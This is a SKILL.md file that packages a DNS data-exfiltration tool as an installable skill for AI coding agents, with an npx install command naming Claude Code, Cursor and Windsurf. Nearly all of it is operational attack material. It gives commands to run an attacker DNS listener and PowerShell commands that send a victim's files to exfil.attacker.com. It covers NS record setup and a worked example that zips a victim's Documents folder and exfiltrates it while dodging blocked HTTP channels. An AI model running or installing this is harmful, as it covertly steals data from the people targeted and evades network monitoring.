offensive-tools/data-exfiltration/dnsexfiltrator/SKILL.md
Exfiltrate data over DNS queries using a custom DNS server. Use when HTTP/S channels are blocked and DNS traffic is allowed outbound, enabling covert file transfer via DNS TXT/A records.
npx skillsauth add aeondave/malskill dnsexfiltratorInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Covert file exfiltration via DNS — Python server receives, PowerShell client sends.
# Attacker side — start DNS server (needs port 53 UDP)
sudo python3 dnsexfiltrator.py -d exfil.attacker.com -p password
# Victim side (PowerShell)
Invoke-DNSExfiltrator -i C:\sensitive\file.zip -d exfil.attacker.com -p password -t 500
Point an NS record for your subdomain to your listener IP:
exfil.attacker.com NS ns1.attacker.com
ns1.attacker.com A <your-server-ip>
| Option | Purpose |
|--------|---------|
| -d DOMAIN | Exfil domain (server) |
| -p PASSWORD | Encryption passphrase |
| -b 64/32 | Encoding (base64/base32) |
| -t MS | Throttle between queries (ms) |
| -r N | Max retries |
Exfil archive from Windows:
# Compress first
Compress-Archive -Path C:\Users\victim\Documents -DestinationPath docs.zip
# Exfil
Invoke-DNSExfiltrator -i docs.zip -d exfil.attacker.com -p MyPass123 -t 200
| File | When to load |
|------|--------------|
| references/ | DNS setup guide and throttle tuning |
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